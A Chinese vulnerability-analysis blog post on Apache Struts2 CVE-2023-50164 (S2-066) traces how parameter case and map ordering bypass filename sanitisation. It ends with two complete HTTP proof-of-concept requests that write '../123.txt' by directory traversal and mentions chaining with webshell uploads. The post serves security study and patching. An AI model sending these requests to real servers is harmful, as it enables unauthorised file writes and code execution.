【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

admin 2023年12月13日10:58:09评论183 views字数 7485阅读24分57秒阅读模式

漏洞简介

Apache Struts 是一个开源的、用于构建企业级Java Web应用的MVC框架。2023年12月,官方披露 CVE-2023-50164 Apache Struts 文件上传漏洞。

攻击者可以通过污染相关上传参数导致目录穿越,若在具体代码环境中允许上传危险后缀文件(例如 jsp文件),则攻击者可能结合该目录穿越漏洞上传webshell 至可解析目录,执行任意代码。

前两天后台就有同学经常询问这个漏洞,该漏洞团队前两天就已经收录但是感觉利用限制多,网上很多师傅已经说过这个漏洞的原理了,今天正好有时间就跟一遍这个漏洞。

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版
【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

复现过程

网上其他师傅的分析看了一遍是通过大小写进行变量覆盖,随后利用这种修改变量的方式在特定的条件下达到文件上传的效果。我们可以简单复现一下,首先搭建一个文件上传的环境。
【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版
对应上传文件的逻辑代码如下:
【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版
访问构造好的上传页面,开始进行测试。
【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版
抓包上传文件,开始进行测试,首先我们先正常上传一个文件,可以看到上传成功。
【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

接下来我们开始尝试通过修改filename跨路径测试一下,结果上传失败。

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

通过已经分析了的文章我们可以得知,该漏洞是由于大小写敏感导致变量覆盖从而触发目录穿越上传文件,所以我们先成功复现一遍漏洞然后在开始进行代码分析。这里我们通过五种测试,然后将出现的问题逐个分析。
(1)通过修改Upload和upload进行上传文件。可以看到upload成功覆盖了Upload。

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

(2)通过修改upload的filename进行目录穿越。可以看到并没有成功穿越。

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

(3)通过利用upload和uploadFileName两个参数进行上传,结果无法跨越只能上传upload。

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版
(4)通过利用Upload和uploadFileName两个参数进行上传,结果成功跨越,漏洞复现成功。

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

复现结论:漏洞通过首字母大小写切换可以进行变量覆盖,通过覆盖 filename中的uploadFileName变量从而进行路径穿越,最终达到跨目录上传的效果。

例如上面成功复现的包一样,Upload首字母大写,uploadFileName小写。最后覆盖掉Upload中的uploadFileName从而成功跨目录上传文件。

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版
【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

代码分析

通过我们上面的复现漏洞的实验可以梳理处理几个问题。

(1)为什么filename参数不可以直接进行穿越?(2)为什么upload可以覆盖Upload?(3)为什么通过uploadFileName覆盖变量后就可以进行目录穿越?
首先我们知道struts2本身就存在一套过滤链进行处理的,所以我们分析一下s2对应上传的过滤,这里我们通过debug定位到了FileUploadInterceptor。
【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版
我们知道struts2的过滤是配置在struts-default.xml中的,直接去找一下那个位置的类去看一看。
【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

接下来我们就开始对其进行分析,过滤链走到了intercept方法,向下进行调试,最后在标记的位置分别获取请求包中的表单、表单名、文件类型、文件名等

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

首先我们先来看一下他的文件名是怎么进行获取的,我们跟进getFileNames方法,最后跳到JakartaMultiPartRequest.类中。

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

我们可以看到这个文件名进行了getCanonicalName方法,跟进查看一下。这里直接直接过滤了“/“ ”“这种跨目录,所以我们想直接修改filename参数无法进行穿越,也就解决了问题一-为什么filename参数不可以直接进行穿越?

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版
返回到FileUploadInterceptor,继续向下跟进,可以看到所有的文件信息都存储到了acceptFile中,然后会将这里的Upload、UploadContentType、UploadFileName都放到这个newParams中。接下来我们看一下ac.getParameters().appendAll(newParams)方法。
【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

这里的ac是我们上下文的Context,而ac.getParameters()获取到的则是org.apache.struts2.ActionContext.parameters,一个HttpParameters类,这里将上传文件的信息都放在了HttpParameters中,所以我们跳到HttpParameters.appendAll方法,继续向下。

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

跳到HttpParameters. appendAll方法,将newParams赋给this.parameters,然后返回this,这里的this.parameters是HashMap。

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

到这里我们知道FileUploadInterceptor 中获取的参数都存储在 HttpParameters 类型的对象中了,上传文件参数都在HttpParameters.parameters里面。分析到这里我们并没有发现存在变量覆盖,所以变量覆盖的操作可能在FileUploadInterceptor之后,所以我们开始查看实际的Action执行的位置。

刚才说到FileUploadInterceptor将获取的参数都存储在 HttpParameters 类型的对象中,也就是上面提到的 upload、uploadContentType 和 uploadFileName,而开发者就是通过在Action中定义相关的 setter 方法获取这些参数的内容的。

所以在setter位置进行断点调试,发送一个正常上传业务的请求包。

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

通过栈内容发现是通过反射调用,并且在栈中发现使用了ParametersInterceptor过滤器,而如果package使用了ParameterIntercepter这个拦截器,OgnlValueStack会自动为Action中有set方法的属性赋值(如果用了modeldriven,同样也会为实体中有set方法的属性赋值),赋值时,OGNL会将此时值栈中的action当做当前节点(默认情况下在请求进入action之前,该action也会被放入值栈),然后访问它的成员属性的set方法。而在这里我们发现ParametersInterceptor.setParameters方法在进行参数绑定的过程中对HttpParameters parameters进行了一系列操作,我们跟进查看一下。

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

跟进ParametersInterceptor.setParameters我们发现首先会创建一个HttpParameters,接下来将parentParams赋值到新声明的HttpParameters中。

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

接下来声明一个TreeMap。利用params制作一个迭代器var6,开始进行循环赋值。

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

继续向下跟进,这里将会对var20存储的数据按照存储结构进行对应的set方法调用,所以我们依旧继续向下。

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

节省时间不继续向下了,直接给出栈了,有兴趣的自己跟一下吧。

setUpload:24, UploadAction (com.struts2)invoke:-1, GeneratedMethodAccessor24 (sun.reflect)invoke:43, DelegatingMethodAccessorImpl (sun.reflect)invoke:497, Method (java.lang.reflect)invokeMethodInsideSandbox:1245, OgnlRuntime (ognl)invokeMethod:1230, OgnlRuntime (ognl)callAppropriateMethod:1958, OgnlRuntime (ognl)setMethodValue:2196, OgnlRuntime (ognl)setPossibleProperty:98, ObjectPropertyAccessor (ognl)setProperty:175, ObjectPropertyAccessor (ognl)setProperty:42, ObjectAccessor (com.opensymphony.xwork2.ognl.accessor)setProperty:3359, OgnlRuntime (ognl)setProperty:84, CompoundRootAccessor (com.opensymphony.xwork2.ognl.accessor)setProperty:3359, OgnlRuntime (ognl)setValueBody:134, ASTProperty (ognl)evaluateSetValueBody:220, SimpleNode (ognl)setValue:308, SimpleNode (ognl)setValue:829, Ognl (ognl)lambda$setValue$2:550, OgnlUtil (com.opensymphony.xwork2.ognl)execute:-1, 1385670583 (com.opensymphony.xwork2.ognl.OgnlUtil$$Lambda$57)compileAndExecute:625, OgnlUtil (com.opensymphony.xwork2.ognl)setValue:543, OgnlUtil (com.opensymphony.xwork2.ognl)trySetValue:195, OgnlValueStack (com.opensymphony.xwork2.ognl)setValue:182, OgnlValueStack (com.opensymphony.xwork2.ognl)setParameter:166, OgnlValueStack (com.opensymphony.xwork2.ognl)setParameters:228, ParametersInterceptor (com.opensymphony.xwork2.interceptor)doIntercept:144, ParametersInterceptor (com.opensymphony.xwork2.interceptor)

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

最终触发setUpload方法。

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

从acceptableParameters的赋值以及set方法的调用中,变量覆盖也就在此过程中触发了。

首先在HttpParameters.parameters中,数据类型为HashMap。HashMap的存储顺序是“小写开头在前,大写开头在后“。
而在acceptableParameters中,数据类型为TreeMap。TreeMap的存储顺序是“大写开头优先“。
而我们在FileUploadInterceptor获取到的HttpParameters是HashMap,而在ParametersInterceptor中acceptableParameters获取到的HttpParameters是TreeMap,本身大写开头在后,现在变成了大写开头优先,也就导致了变量覆盖。

这里我们将Upload和upload同时进行请求进行调试一下。

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

可以看到TreeMap的存储顺序是大写开头在前,小写开头在后,所以upload在后执行,也就覆盖了Upload的上传内容。

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

最后的上传结果如下图所示,这也就解释了问题二-为什么upload可以覆盖Upload?

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

最后的问题三-为什么通过uploadFileName覆盖变量后就可以进行目录穿越?首先我们知道FileUploadInterceptor过滤链的JakartaMultiPartRequest.getCanonicalName会对传入的uploadFileName进行过滤。

但是如果我们将uploadFileName设置为一个非文件参数,这样参数内容也不会经过 FileUploadInterceptor过滤链了,也就更不会经过JakartaMultiPartRequest.getCanonicalName进行过滤了。再通过uploadFileName的首字母小写优先级小于Upload的优先级,也就出现了变量覆盖,所以现在公开的poc才是如下两种。

漏洞POC-1

POST /struts2_066_war_exploded/upload.action HTTP/1.1Host: 172.20.10.4:8082Content-Length: 293Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://172.20.10.4:8082Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrhraU57lkZHpBtitUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://172.20.10.4:8082/struts2_066_war_exploded/upload.actionAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=1D049D6F711E436B2B0A9DE3139613D9x-forwarded-for: 127.0.0.1x-originating-ip: 127.0.0.1x-remote-ip: 127.0.0.1x-remote-addr: 127.0.0.1Connection: close

------WebKitFormBoundaryrhraU57lkZHpBtitContent-Disposition: form-data; name="Upload"; filename="1.txt"Content-Type: text/plain

123------WebKitFormBoundaryrhraU57lkZHpBtitContent-Disposition: form-data; name="uploadFileName"

../123.txt------WebKitFormBoundaryrhraU57lkZHpBtit—

漏洞POC-2

POST /struts2_066_war_exploded/upload.action?uploadFileName=../123.txt HTTP/1.1Host: 172.20.10.4:8082Content-Length: 182Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://172.20.10.4:8082Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrhraU57lkZHpBtitUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://172.20.10.4:8082/struts2_066_war_exploded/upload.actionAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=1D049D6F711E436B2B0A9DE3139613D9x-forwarded-for: 127.0.0.1x-originating-ip: 127.0.0.1x-remote-ip: 127.0.0.1x-remote-addr: 127.0.0.1Connection: close

------WebKitFormBoundaryrhraU57lkZHpBtitContent-Disposition: form-data; name="Upload"; filename="1.txt"Content-Type: text/plain

123------WebKitFormBoundaryrhraU57lkZHpBtit--
最后的最后,我们看一下利用POC的请求包再TreeMap的顺序和最终上传结果吧~~~

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

成功跨文件上传。

PS:最后说一嘴实战利用吧,这个漏洞得针对于各个系统来利用,没法像前面的那些表达式注入哐哐RCE,算是个漏洞利用的知识点吧。

【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

参考文章:

https://trganda.github.io/notes/security/vulnerabilities/apache-struts/Apache-Struts-Remote-Code-Execution-Vulnerability-(-S2-066-CVE-2023-50164)#%E5%8F%82%E6%95%B0%E6%B1%A1%E6%9F%93https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/

原文始发于微信公众号(嗨嗨安全):【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月13日10:58:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版http://cn-sec.com/archives/2293448.html

发表评论

匿名网友 填写信息